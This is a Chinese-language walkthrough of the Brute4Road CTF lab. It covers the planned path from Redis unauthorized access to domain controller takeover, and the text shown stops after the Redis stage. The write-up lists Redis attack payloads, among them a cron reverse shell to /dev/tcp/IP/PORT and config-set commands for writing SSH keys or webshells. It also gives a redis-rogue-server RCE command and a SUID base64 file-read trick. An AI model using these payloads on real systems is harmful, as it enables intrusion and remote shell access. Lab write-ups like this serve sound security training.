松脂领花从Redis未授权到域控：Brute4Road靶场全链路渗透实战解析
1. 靶场环境与攻击路径概览
Brute4Road靶场构建了一个典型的企业内网环境，包含五台关键主机：Redis服务器（172.22.2.7）、WordPress站点（172.22.2.18）、MSSQL数据库服务器（172.22.2.16）、未启用NLA的客户端（172.22.2.34）以及域控制器（172.22.2.3）。攻击链路设计为典型的"外网突破→内网横向→权限提升→域控接管"四阶段模型，每个阶段都设置了对应的flag作为里程碑。
关键路径节点：
- Redis未授权访问（Flag1）
- WordPress插件漏洞利用（Flag2）
- MSSQL提权与横向移动（Flag3）
- 约束委派攻击域控（Flag4）
实战提示：真实环境中建议使用虚拟专用网络进行隔离测试，避免直接暴露在公网
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始突破：Redis未授权访问利用
Redis的6379端口暴露是本次渗透的起点。当发现未授权访问漏洞时，优先考虑以下攻击方式：
Redis利用矩阵：
| 利用方式 | 适用版本 | 风险等级 | 典型载荷 |
|---|---|---|---|
| 写SSH公钥 | <5.0.5 | 中 | config set dir /root/.ssh/ |
| 主从复制RCE | >=4.x | 高 | Redis模块注入 |
| 计划任务 | 全版本 | 高 | */1 * * * * bash -i >& /dev/tcp/IP/PORT |
| 写Webshell | 全版本 | 低 | config set dir /var/www/html |
本例使用主从复制RCE技术，通过redis-rogue-server工具实现命令执行：
python复制python3 redis-rogue-server.py --rhost 172.22.2.7 --lhost [VPS_IP] --port 21002
提权技巧：
- 发现base64具有SUID权限时，可绕过权限读取文件：
bash复制base64 "/home/redis/flag/flag01"